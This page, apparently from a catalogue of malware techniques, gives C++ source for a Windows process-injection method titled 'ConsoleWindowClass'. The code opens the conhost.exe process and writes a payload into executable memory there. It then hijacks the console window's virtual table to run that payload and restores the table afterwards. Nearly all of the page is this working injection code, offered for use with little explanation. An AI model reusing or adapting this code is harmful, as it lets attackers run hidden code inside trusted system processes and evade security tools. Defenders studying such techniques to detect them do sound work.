Windows C++ / ConsoleWindowClass
Author | Glacius |
Platform | Windows |
Language | C++ |
Technique | ConsoleWindowClass |
Code
VOID conhostInject(LPVOID payload, DWORD payloadSize) {
HWND hwnd;
LONG_PTR udptr;
DWORD pid, ppid;
SIZE_T wr;
HANDLE hp;
ConsoleWindow cw;
LPVOID cs, ds;
ULONG_PTR vTable;
// 1. Obtain handle and process id for a console window
// (this assumes one already running)
hwnd = FindWindow(L"ConsoleWindowClass", NULL);
GetWindowThreadProcessId(hwnd, &ppid);
// 2. Obtain the process id for the host process
pid = conhostId(ppid);
// 3. Open the conhost.exe process
hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
// 4. Allocate RWX memory and copy the payload there
cs = VirtualAllocEx(hp, NULL, payloadSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
// 5. Read the address of current virtual table
udptr = GetWindowLongPtr(hwnd, GWLP_USERDATA);
ReadProcessMemory(hp, (LPVOID)udptr,
(LPVOID)&vTable, sizeof(ULONG_PTR), &wr);
// 6. Read the current virtual table into local memory
ReadProcessMemory(hp, (LPVOID)vTable,
(LPVOID)&cw, sizeof(ConsoleWindow), &wr);
// 7. Allocate RW memory for the new virtual table
ds = VirtualAllocEx(hp, NULL, sizeof(ConsoleWindow),
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// 8. update the local copy of virtual table with
// address of payload and write to remote process
cw.GetWindowHandle = (ULONG_PTR)cs;
WriteProcessMemory(hp, ds, &cw, sizeof(ConsoleWindow), &wr);
// 9. Update pointer to virtual table in remote process
WriteProcessMemory(hp, (LPVOID)udptr, &ds,
sizeof(ULONG_PTR), &wr);
// 10. Trigger execution of the payload
SendMessage(hwnd, WM_SETFOCUS, 0, 0);
// 11. Restore pointer to original virtual table
WriteProcessMemory(hp, (LPVOID)udptr, &vTable,
sizeof(ULONG_PTR), &wr);
// 12. Release memory and close handles
VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);
CloseHandle(hp);
Created
October 5, 2020
Last Revised
April 22, 2024